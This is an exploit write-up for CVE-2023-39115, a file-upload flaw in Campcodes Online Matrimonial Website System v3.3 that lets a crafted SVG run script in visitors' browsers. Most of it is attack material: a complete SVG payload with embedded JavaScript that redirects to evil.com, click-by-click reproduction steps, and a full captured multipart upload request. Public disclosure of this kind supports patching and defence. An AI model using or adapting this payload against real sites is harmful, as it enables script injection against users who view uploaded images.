Campcodes Online Matrimonial Website System v3.3 – Code Execution via malicious SVG file upload
# Exploit Title: Online Matrimonial Website System v3.3 - Code Execution via malicious SVG file upload # Date: 3-8-2023 # Category: Web Application # Exploit Author: Rajdip Dey Sarkar # Version: 3.3 # Tested on: Windows/Kali # CVE: CVE-2023-39115 Description: ---------------- An arbitrary file upload vulnerability in Campcodes Online Matrimonial Website System Script v3.3 allows attackers to execute arbitrary code via uploading a crafted SVG file. SVG Payload ------------------ <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("You have been hacked!!") window.location.href="https://evil.com" </script> </svg> Steps to reproduce -------------------------- -Login with your creds -Navigate to this directory - /profile-settings -Click on Gallery -> Add New Image -> Browser -> Add Files -Choose the SVG file and upload done -Click the image!! Payload Triggered Burp Request ------------------- POST /Matrimonial%20Script/install/aiz-uploader/upload HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-CSRF-TOKEN: I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E Content-Type: multipart/form-data; boundary=---------------------------167707198418121100152548123485 Content-Length: 1044 Origin: http://localhost Connection: close Referer: http://localhost/Matrimonial%20Script/install/gallery-image/create Cookie: _session=5GnMKaOhppEZivuzZJFXQLdldLMXecD1hmcEPWjg; acceptCookies=true; XSRF-TOKEN=I5gqfipOOKWwI74hfdtFC2kpUP0EggWb8Qf7Xd5E Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------167707198418121100152548123485 Content-Disposition: form-data; name="relativePath" null -----------------------------167707198418121100152548123485 Content-Disposition: form-data; name="name" file (1).svg -----------------------------167707198418121100152548123485 Content-Disposition: form-data; name="type" image/svg+xml -----------------------------167707198418121100152548123485 Content-Disposition: form-data; name="aiz_file"; filename="file (1).svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert("You have been hacked!!") window.location.href="https://evil.com" </script> </svg> -----------------------------167707198418121100152548123485-- |